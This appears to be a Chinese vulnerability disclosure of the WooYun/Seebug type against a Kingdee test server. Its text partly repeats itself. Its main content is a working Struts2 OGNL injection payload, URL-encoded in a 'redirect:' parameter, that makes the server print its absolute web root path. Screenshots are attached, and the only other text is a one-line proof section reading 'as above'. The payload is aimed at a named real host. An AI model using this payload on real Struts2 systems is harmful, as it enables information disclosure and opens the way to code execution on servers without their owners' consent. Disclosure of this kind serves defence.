### 简要描述： RT. ### 详细说明： ``` http://cssotest.kingdee.com/ ``` ``` 爆路径：http://cssotest.kingdee.com/knowledge/search/searchKnowledge!knowledgeSearch.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D ``` [<img src="https://images.seebug.org/upload/201405/06000048acfbbb426e317dad8e9d35032f997fb0.jpg" alt="QQ截图20140506000004.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/06000048acfbbb426e317dad8e9d35032f997fb0.jpg) [<img src="https://images.seebug.org/upload/201405/06000226e3ea49415fd3f966652967ad98affb72.jpg" alt="2222222.jpg" width="600"...
### 简要描述： RT. ### 详细说明： ``` http://cssotest.kingdee.com/ ``` ``` 爆路径：http://cssotest.kingdee.com/knowledge/search/searchKnowledge!knowledgeSearch.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D ``` [<img src="https://images.seebug.org/upload/201405/06000048acfbbb426e317dad8e9d35032f997fb0.jpg" alt="QQ截图20140506000004.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/06000048acfbbb426e317dad8e9d35032f997fb0.jpg) [<img src="https://images.seebug.org/upload/201405/06000226e3ea49415fd3f966652967ad98affb72.jpg" alt="2222222.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/06000226e3ea49415fd3f966652967ad98affb72.jpg) ### 漏洞证明： 如上。
